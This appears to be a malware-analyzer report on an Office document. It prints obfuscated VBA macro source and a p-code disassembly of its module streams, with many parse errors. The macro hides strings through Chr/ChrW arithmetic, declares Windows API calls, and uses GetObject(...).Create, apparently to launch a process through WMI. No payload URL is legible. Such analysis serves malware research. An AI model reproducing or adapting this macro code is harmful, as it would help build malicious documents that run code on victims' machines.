"ZmAshfgrrRAOq1fj4NQSJo5vuVc" & YT2cTyj_I4R8nPO_44XGsbA_SoO9Sy0, "xEadRiuZzCVWkFK" & "TM44a6FU_a92Azje_EUMPFgf SRi82vVylBPjwXoMxkWv2ayR7Z", DZWCXO53Unqx0peltWwGpwapPef, uCZQZ8eICDM98c)) RQ9A2TK_5bqdCk_Banht4 = Len(Join(Array("GSI6mFX_E17RbiA_yHNsZV4 hib4sF8QVuo3yBNHwBCvLuA4bu r3Bz9If_VBlhA8", "B5ilYkcr0nzdG7c12dd4SbRBsqYt7 fFXa0sP_N8bGmz_YYepnwN_5ITH7N" & cU4ZwzUCxEXzcYAwFAOksw, "l9Uyx8wJ1Xh8B QWdvB16_cMV4ZG_IgKzco L3Vi1fBPwAnAzriPnhwiJo7RVk"))) End Function Attribute VB_Name = "CCGmV6vC_TTk5Dm" Attribute VB_Base = "0{43EE25B1-C34C-4442-BD8B-A30F2E6E4386}{5FCBBBC5-25FC-4C5E-A7AA-C94C1FAA263B}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Function XJDwsyvWYS1JCThdHpDJL8C4Rioc(Xmyrs9P_O0egy2, FdKkqrRoOol5mrQdfUnJMZbgs, C3jEotL_OAjTOpM_Mz1BUa) Tw6v5YKv_VThwboX_ADghz5 = R9zsgmm_KABWRm_eDl8f0 BXGMEv0Z_UB2mqQ_NGN1W6_sPKHvFC = CLng(((-677 - 72#) - (-0.4625 * 560))) > CLng((2014 Xor (0.705934455270151 * wdIbibio))) For b7hmKf6_7lV6bm_G1kL6gk_9Ab2e5 = 0 To CLng(((958 - (1198 - 240.821174377224)) * wdFilipino)) UMyC8t1FMwzuLq5l8OrkkgCESN = b7hmKf6_7lV6bm_G1kL6gk_9Ab2e5 Next b7hmKf6_7lV6bm_G1kL6gk_9Ab2e5 Debug.Print be5pZm8Y_imvZD1A_bulfWNu_mLSbPF With GetObject(Xmyrs9P_O0egy2) cyS9kvX0_r7PlgDj_uBqSDO_eBtjpD = InStr(X21Lfyt7_LWXxl5B_YTmYI75_ZiWwtl, XXBLN6fn30afVGfvTRXeI, I6j9QeTi_7mQ0T9_bN8zcI_MNjpJFp) PQ0dccK_Z0Dj0ij = "EeqiquX_uzmzqZH_DfF7Ij_OBh5ip" .Create FdKkqrRoOol5mrQdfUnJMZbgs, Null, C3jEotL_OAjTOpM_Mz1BUa X1RJ4ivcRUrKpI0S8vXqZfxVnwy = ZHjGPjVk_uesogT Debug.Print Jg4cEJip_x7qq4K_oRNkJt End With oJa8kD6CIh781T1 = InStr(QCio81c_kEZK7u, NuAfZKF_BQF6wR_qhz9y91_0i0X1b2, jEZQS0S_zRotkhI) CYY7IT6G_0nNlvq = QzrijSob_jT08K2T_dofDpw_HlB0wIr End Function ' Processing file: /opt/analyzer/scan_staging/cd6d73ca914a42548790e4cfee18e87a.bin ' =============================================================================== ' Module streams: ' Macros/VBA/ybAP1GOlVFqa0jQL7NUOCyP063n5 - 1238 bytes ' Error: unpack_from requires a buffer of at least 1613737880 bytes for unpacking 2 bytes at offset 1613737878 (actual buffer size is 1238). ' Macros/VBA/QSoBkvNwvQ9KGhfxar6F - 15243 bytes ' Line #0: ' LbMark ' Ld VBA7 ' LbIf ' Line #1: ' FuncDefn (Function VdstrUNMQGzsr(ByVal itLVgep6dS1vPrOViTneah4ydEi As Long) As Long) ' Line #2: ' FuncDefn (Function HGYGRtDbMUf5XXzM7PiWtoD57J(ByVal OI1wmguFIYqNlYEXgTfAn51yGjt As Long) As Long) ' Line #3: ' LbMark ' LbElse ' Line #4: ' Reparse 0x00E1 "Private Declare Function VdstrUNMQGzsr Lib "user32.dll" Alias "PostMessageA" (ByVal itLVgep6dS1vPrOViTneah4ydEi As Long, ByVal S2HEY8vHusMjn As Long, ByVal SokdOurZb6xg8h As Long, ByVal S0J98aLwQEpocMETP3hw0t As Long) As Long" ' Line #5: ' Reparse 0x0102 "Private Declare Function HGYGRtDbMUf5XXzM7PiWtoD57J Lib "user32.dll" Alias "FindWindowExA" (ByVal OI1wmguFIYqNlYEXgTfAn51yGjt As Long, ByVal RArWTSwHTpuqGhPAYWKm As Long, ByVal P22HwP7xn5OdRGy87Zr0QzcEU5JM As String, ByVal pQ0wwXHR_4t7Wwei As String) As Long" ' Line #6: ' LbMark ' LbEndIf ' Line #7: ' Dim (Private Const) ' LitHI2 0x0102 ' VarDefn kvvCq8Y_ufWlfx (As Long) ' Line #8: ' Error: unpack_from requires a buffer of at least 3921428930 bytes for unpacking 2 bytes at offset 3921428928 (actual buffer size is 15243). ' Macros/VBA/WzZaPsRpzoMQH3yypPq7 - 1486 bytes ' Line #0: ' FuncDefn (Function p9JlrE0A_FwufJ8_ZDWVtF(id_9256 As Variant)) ' Line #1: ' LineCont 0x000C 17 00 01 00 4A 00 01 00 6C 00 01 00 ' LitR8 0xAAA8 0xAAAA 0xAAAA 0x3FEA ' LitR8 0x19EF 0x1F31 0x0846 0x3F51 ' LitDI2 0x0167 ' UMi ' Mul ' Paren ' LitDI2 0x00D1 ' UMi ' Mul ' Paren ' Mul ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' LitR8 0x891A 0x33AE 0x47D4 0x3FE8 ' LitDI2 0x0491 ' Mul ' Paren ' LitDI2 0x0307 ' UMi ' Add ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' Ld xlTenMillions ' LitDI2 0x0077 ' UMi ' Sub ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' LitR8 0x942A 0x50D7 0x435E 0x3FF9 ' UMi ' LitDI2 0x0169 ' UMi ' Mul ' Paren ' LitR8 0x0000 0x0000 0xF800 0x4083 ' Sub ' Paren ' Not ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' Unrecognized opcode 0x0324 at offset 0x000003DB. ' Line #2: ' EndFunc ' Line #3: ' Macros/VBA/K500zCULjfNrgZp - 997 bytes ' Line #0: ' Unrecognized opcode 0x02EF at offset 0x000002FF. ' Line #1: ' LineCont 0x0004 14 00 01 00 ' LitDI2 0x008C ' UMi ' LitDI2 0x030B ' UMi ' LitR8 0x0000 0x0000 0x1800 0x4081 ' UMi ' Sub ' Paren ' Sub ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' St CYai0WDGEyU5753r3o2vaG ' Line #2: ' EndFunc ' Line #3: ' Macros/VBA/K0djA5Xu0tiKW2xhrkcYf0lsxkl - 1856 bytes ' Error: unpack_from requires a buffer of at least 599938052 bytes for unpacking 2 bytes at offset 599938050 (actual buffer size is 1856). ' Macros/VBA/x1nRaJa1_H9DGqw - 3172 bytes ' Error: unpack_from requires a buffer of at least 175207900 bytes for unpacking 2 bytes at offset 175207898 (actual buffer size is 3172). ' Macros/VBA/BYlBR9Qq_Y4c0WSU_mKannO_Prg2p5 - 3601 bytes ' Line #0: ' FuncDefn (Function D6DlYQkn9eQO6hhKFly6BCKzSzV06()) ' Line #1: ' LitDI2 0x0250 ' LitDI2 0x022E ' Sub ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' St D6DlYQkn9eQO6hhKFly6BCKzSzV06 ' Line #2: ' EndFunc ' Line #3: ' FuncDefn (Function wdStyleListNumber5()) ' Line #4: ' LineCont 0x001C 51 00 01 00 77 00 01 00 8C 00 01 00 B4 00 01 00 C6 00 01 00 78 01 01 00 07 02 01 00 ' LitStr 0x0001 "w" ' ArgsLd Asc 0x0001 ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Ld kZgN8ZIGG2PESm76HVXVxk4mbE ' LitR8 0x0000 0x0000 0x8000 0x4075 ' Add ' Paren ' Ld wdStyleListBullet4 ' Sub ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x2101 ' Unrecognized opcode 0x025B at offset 0x000003DB. ' Line #5: ' EndFunc ' Line #6: ' Macros/VBA/KC784EpA_1KKX2PU_fZod3J - 4532 bytes ' Line #0: ' FuncDefn (Function OgOPhJ7mxBH2fT0cowf()) ' Line #1: ' LineCont 0x001C 4A 00 01 00 57 00 01 00 86 00 01 00 C4 00 01 00 F0 00 01 00 FC 00 01 00 AB 01 01 00 ' Ld wdKeyF3 ' LitDI2 0x03C0 ' UMi ' Add ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' LitDI2 0x0360 ' UMi ' LitR8 0xCCCD 0xCCCC 0xF4CC 0x408A ' UMi ' Sub ' Paren ' LitDI2 0x039B ' UMi ' LitR8 0x0000 0x0000 0x8000 0x408A ' UMi ' Sub ' Paren ' Mul ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitDI2 0x017B ' UMi ' LitR8 0x0000 0x0000 0x6000 0x4089 ' UMi ' Sub ' Paren ' LitDI2 0x00F7 ' UMi ' LitR8 0x0000 0x0000 0x0000 0x4053 ' UMi ' Add ' Paren ' Add ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitDI2 0x006E ' UMi ' Not ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' LitStr 0x0001 "g" ' ArgsLd Asc 0x0001 ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitR8 0xF2EF 0x6A83 0xA39A 0x3F4D ' UMi ' LitDI2 0x0153 ' UMi ' Mul ' Paren ' LitDI2 0x016A ' Mul ' Paren ' Ld wdGeorgian ' And ' Paren ' Coerce (Lng) ' ArgsLd ChrW 0x0001 ' Concat ' LitDI2 0x019B ' LitDI2 0x0127 ' UMi ' Add ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' Ld wdKeyF8 ' Ld wdTexture12Pt5Percent ' And ' Paren ' Coerce (Lng) ' ArgsLd id_2886 0x5476 ' Unrecognized opcode 0x03D0 at offset 0x000007FD. ' Line #2: ' EndFunc ' Line #3: ' FuncDefn (Function EGlQmgB0_u47JOp(xlMillionMillions)) ' Line #4: ' LineCont 0x0018 0E 00 01 00 25 00 01 00 4C 00 01 00 7A 00 01 00 07 01 01 00 13 01 01 00 ' LitStr 0x0001 "c" ' ArgsLd Asc 0x0001 ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' LitDI2 0x0334 ' UMi ' LitR8 0xA456 0x83E9 0xA2C2 0x4089 ' UMi ' Sub ' Paren ' Ld WHPY9u9_xvkqzon_qEYLYI ' LitR8 0x0000 0x0000 0x8000 0x4062 ' UMi ' Sub ' Paren ' Mul ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Concat ' Ld wdKeyQ ' Ld wdInCommentPane ' LitR8 0x0000 0x0000 0xC000 0x4050 ' UMi ' Add ' Paren ' Xor ' Paren ' Coerce (Lng) ' ArgsLd Chr 0x0001 ' Unrecognized opcode 0x0111 at offset 0x000004A9. ' Line #5: ' EndFunc ' Line #6: ' Macros/VBA/UP6jrmN1_zINoT6M_r02qPh - 3179 bytes ' Line #0: ' FuncDefn (Function iWbeXqB_oxboZU_2MPKnaS_6qZlfv()) ' Line #1: ' Mul ' Paren ' Coerce (Lng) ' For ' Unrecognized opcode 0x03FF at offset 0x000003A1. ' Line #2: ' Ld wdDialogFormatTheme ' St J41cz31r6dmGPNNOCwdT ' Line #3: ' StartForVariable ' Ld wdDialogFormatTheme ' EndForVariable ' NextVar ' Line #4: ' ArgsArray Array 0x0000 ' St F9g0rjRqatx1DTcmX4h0Gt ' Line #5: ' SetStmt ' Ld BYlBR9Qq_Y4c0WSU_mKannO_Prg2p5 ' MemLd wdStyleListNumber5 ' ArgsLd M1UGUx8LZDJxp 0x0001 ' MemLd GetObject ' Set iWbeXqB_oxboZU_2MPKnaS_6qZlfv ' Line #6: ' Ld MWR3NQ1_pYqjv6_3mulPo_0Tt9qPZ ' Ld y5JkaBz_tThoa4_Ldx3OC ' Ld hwZj8jw9_zqVzDjV ' FnInStr3 ' St SpawnInstance_ ' Line #7: ' Ld WaC1fJm_Od8rclz ' St FaIOC8b6ncvnT6m5JC5h4 ' Line #8: ' Ld ShowWindow ' LitDI2 0x01B7 ' UMi ' LitR8 0x0000 0x0000 0x5000 0x407C ' Add ' Paren ' Xor ' Paren ' Coerce (Lng) ' Ld iWbeXqB_oxboZU_2MPKnaS_6qZlfv ' MemSt EMOJZrtf_UFgZPW ' Line #9: ' LitDI2 0x02D4 ' UMi ' LitR8 0x1552 0x7883 0xA924 0x4086 ' Add ' Paren ' LitDI2 0x0B5A ' Mul ' Paren ' LitDI2 0x0758 ' And ' Paren ' Coerce (Lng) ' ArgsLd IsDate 0x0001 ' St wdPropertySubject ' Line #10: ' QuoteRem 0x0000 0x0097 "AAfBjfWMH3YJ7kCmlhj615 HYywXiXDFUMJMLUUs5ipr9BOuT Bg7DgBodI7vWtUG BUk78Eq4yUJAcu aDwqRLawyjQDq66D0pUHy04UgDU E5dYftW3ZMGV9RN5ÉÅtÞF À®¿Iq5œnJewXp_9Cu1ua" ' Line #11: ' Ld Is7vJCU7IlVLv6 ' LitStr 0x0032 "hOgfDIZ5MYsLQMgplF0f÷Òÿûìb„RDvYugq_10dQ5Ok_W5hjDX1" ' Concat ' Ld P30exoR_XX7Bxs0_AiEN5ES ' LitStr 0x001B "ZmAshfgrrRAOq1fj4NQSJo5vuVc" ' Concat ' Ld FmyU4hl_OW7wXv_qPb6MW_8FTDec ' Concat ' LitStr 0x000F "xEadRiuZzCVWkFK" ' LitStr 0x0033 "TM44a6FU_a92Azje_EUMPFgf SRi82vVylBPjwXoMxkWv2ayR7Z" ' Concat ' Ld YT2cTyj_I4R8nPO_44XGsbA_SoO9Sy0 ' Ld DZWCXO53Unqx0peltWwGpwapPef ' ArgsArray Array 0x0005 ' ArgsLd Join 0x0001 ' St gPCES3z0_i0xKsgx_apcLVU_MNqXeZk ' Line #12: ' LitStr 0x0041 "GSI6mFX_E17RbiA_yHNsZV4 hib4sF8QVuo3yBNHwBCvLuAË'f\&Ä‘ñ9If_VBlhA8" ' LitStr 0x003B "B5ilYkcr0nzdG7c12dd4SbRBsqYt7 fFXa0sP_N8bGmz_YYepnwN_5ITH7N" ' Ld RQ9A2TK_5bqdCk_Banht4 ' Concat ' LitStr 0x003E "l9Uyx8wJ1Xh8B QWdvB16_cMV4ZG_IgKzco L3Vi1fBPwAnAzriPnhwiJo7RVk" ' ArgsArray Array 0x0003 ' ArgsLd Join 0x0001 ' FnLen ' St uCZQZ8eICDM98c ' Line #13: ' EndFunc ' Macros/VBA/CCGmV6vC_TTk5Dm - 2931 bytes ' Line #0: ' FuncDefn (Function XJDwsyvWYS1JCThdHpDJL8C4Rioc(cU4ZwzUCxEXzcYAwFAOksw)) ' Line #1: ' Ld Tw6v5YKv_VThwboX_ADghz5 ' St C3jEotL_OAjTOpM_Mz1BUa ' Line #2: ' LitDI2 0x02A5 ' UMi ' LitR8 0x0000 0xEE00 0x1B62 0x4257 ' ArgsLd FreeFile 0x00B7 ' Unrecognized opcode 0x019A at offset 0x00000575. ' Line #3: ' StartForVariable ' Ld wdIbibio ' EndForVariable ' LitDI2 0x1400 ' Unrecognized opcode 0x0283 at offset 0x000005BB. ' Line #4: ' Ld wdIbibio ' St wdFilipino ' Line #5: ' StartForVariable ' Ld wdIbibio ' EndForVariable ' NextVar ' Line #6: ' Debug ' PrintObj ' Ld UMyC8t1FMwzuLq5l8OrkkgCESN ' PrintItemNL ' Line #7: ' StartWithExpr ' Ld cU4ZwzUCxEXzcYAwFAOksw ' ArgsLd M1UGUx8LZDJxp 0x0001 ' With ' Line #8: ' Ld cyS9kvX0_r7PlgDj_uBqSDO_eBtjpD ' Ld X21Lfyt7_LWXxl5B_YTmYI75_ZiWwtl ' Ld XXBLN6fn30afVGfvTRXeI ' FnInStr3 ' St be5pZm8Y_imvZD1A_bulfWNu_mLSbPF ' Line #9: ' Unrecognized opcode 0x0229 at offset 0x00000637. ' Line #10: ' Ld Xmyrs9P_O0egy2 ' LitVarSpecial (Null) ' Ld FdKkqrRoOol5mrQdfUnJMZbgs ' ArgsMemCallWith PQ0dccK_Z0Dj0ij 0x0003 ' Line #11: ' Ld X1RJ4ivcRUrKpI0S8vXqZfxVnwy ' St Create ' Line #12: ' Debug ' PrintObj ' Ld ZHjGPjVk_uesogT ' PrintItemNL ' Line #13: ' Error: unpack_from requires a buffer of at least 2480064730 bytes for unpacking 2 bytes at offset 2480064728 (actual buffer size is 2931).

Open this report in the interactive analyzer, or submit your own file for analysis.